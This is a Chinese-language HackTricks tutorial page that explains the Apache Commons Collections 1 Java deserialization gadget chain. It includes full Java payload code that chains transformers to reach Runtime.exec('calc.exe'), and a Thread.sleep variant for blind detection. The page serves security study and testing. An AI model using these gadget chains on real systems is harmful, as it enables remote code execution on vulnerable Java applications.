从零开始学习AWS黑客技术 htARTE(HackTricks AWS红队专家) ! 您在网络安全公司 工作吗? 想要在HackTricks中看到您的公司广告 ? 或者想要访问PEASS的最新版本或下载HackTricks的PDF ? 请查看订阅计划 !
Java Transformers to Rutime exec()
在几个地方,您可以找到一个使用Apache common collections中的转换器的java反序列化payload,如下所示:
复制 import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1PayloadOnly {
public static void main ( String ... args) {
String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Runtime . class ) , //(1)
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) , //(2)
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) , //(3)
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
如果你对Java反序列化负载一无所知,可能很难弄清楚为什么这段代码会执行计算器。
首先,你需要知道在Java中,Transformer 是一个接收一个类 并将其转换为另一个类 的东西。
另外,有趣的是这里被执行 的payload 等同于:
复制 Runtime . getRuntime () . exec ( new String []{ "calc.exe" });
或者更确切地说 ,最终将执行的内容是:
复制 ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
如何
那么,第一个 payload 如何等同于那些“简单”的一行代码呢?
首先,您可以注意到 payload 中创建了一个转换链(数组):
复制 String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer( Runtime . class ) ,
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) ,
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) ,
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
如果您阅读代码,您会注意到如果您以某种方式链接数组的转换,您就可以执行任意命令。
那么,这些转换是如何链接的呢?
复制 Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
lazyMap . get ( "anything" );
在payload的最后一部分中,您可以看到创建了一个Map对象 。然后,使用该地图对象和链接的转换器从LazyMap
执行decorate
函数。从以下代码中,您可以看到这将导致链接的转换器 被复制到lazyMap.factory
属性中:
复制 protected LazyMap( Map map , Transformer factory) {
super(map);
if (factory == null ) {
throw new IllegalArgumentException( "Factory must not be null" ) ;
}
this . factory = factory;
}
然后执行伟大的结局:lazyMap.get("anything");
这是get
函数的代码:
复制 public Object get( Object key) {
if ( map . containsKey (key) == false ) {
Object value = factory . transform (key);
map . put (key , value);
return value;
}
return map . get (key);
}
以下是transform
函数的代码
复制 public Object transform( Object value) {
try {
Runtime rt = Runtime . getRuntime ();
Process proc = rt . exec ((String)value);
BufferedReader stdInput = new BufferedReader( new
InputStreamReader( proc . getInputStream())) ;
BufferedReader stdError = new BufferedReader( new
InputStreamReader( proc . getErrorStream())) ;
String output = "" ;
String line;
while ((line = stdInput . readLine ()) != null ) {
output += line + "\n" ;
}
while ((line = stdError . readLine ()) != null ) {
output += line + "\n" ;
}
return output;
} catch ( IOException e) {
e . printStackTrace ();
return null ;
}
}
复制 public Object transform( Object object) {
for ( int i = 0 ; i < iTransformers . length ; i ++ ) {
object = iTransformers[i] . transform (object);
}
return object;
}
所以,请记住,在factory 内部,我们保存了**chainedTransformer
,在 transform
函数内部,我们正在 遍历所有这些链接的transformers**,并逐个执行。有趣的是,每个transformer都使用 object
作为输入 ,object是上一个transformer执行的输出 。因此,所有的转换都被链接执行恶意载荷 。
摘要
最后,由于lazyMap 在get 方法中管理链接的transformers的方式,就好像我们在执行以下代码一样:
复制 Object value = "someting" ;
value = new ConstantTransformer( Runtime . class ) . transform (value); //(1)
value = new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , null }
) . transform (value); //(2)
value = new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) . transform (value); //(3)
value = new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) . transform (value); //(4)
注意 value
是每个转换的输入,也是前一个转换的输出,从而实现一行代码的执行:
复制 ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
注意这里解释了用于 ComonsCollections1负载的小工具。但没有解释 所有这些是如何开始执行的**。您可以在这里看到ysoserial ,为了执行这个payload,使用了一个AnnotationInvocationHandler
对象,因为当这个对象被反序列化时 ,它将调用 payload.get()
函数,这将执行整个payload 。
Java线程休眠
如果网站易受攻击,这个payload可能会很有用,因为它将执行一个休眠 。
复制 import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . net . MalformedURLException ;
import java . net . URL ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1Sleep {
public static void main ( String ... args) {
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Thread . class ) ,
new InvokerTransformer( "getMethod" ,
new Class []{
String . class , Class [] . class
} ,
new Object []{
"sleep" , new Class []{ Long . TYPE }
}) ,
new InvokerTransformer( "invoke" ,
new Class []{
Object . class , Object [] . class
} , new Object []
{
null , new Object [] { 7000L }
}) ,
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
更多小工具
您可以在这里找到更多小工具:https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert) ! 您在网络安全公司 工作吗? 想要看到您的公司在HackTricks中被宣传 吗? 或者您想要访问PEASS的最新版本或下载HackTricks的PDF 吗? 请查看订阅计划 !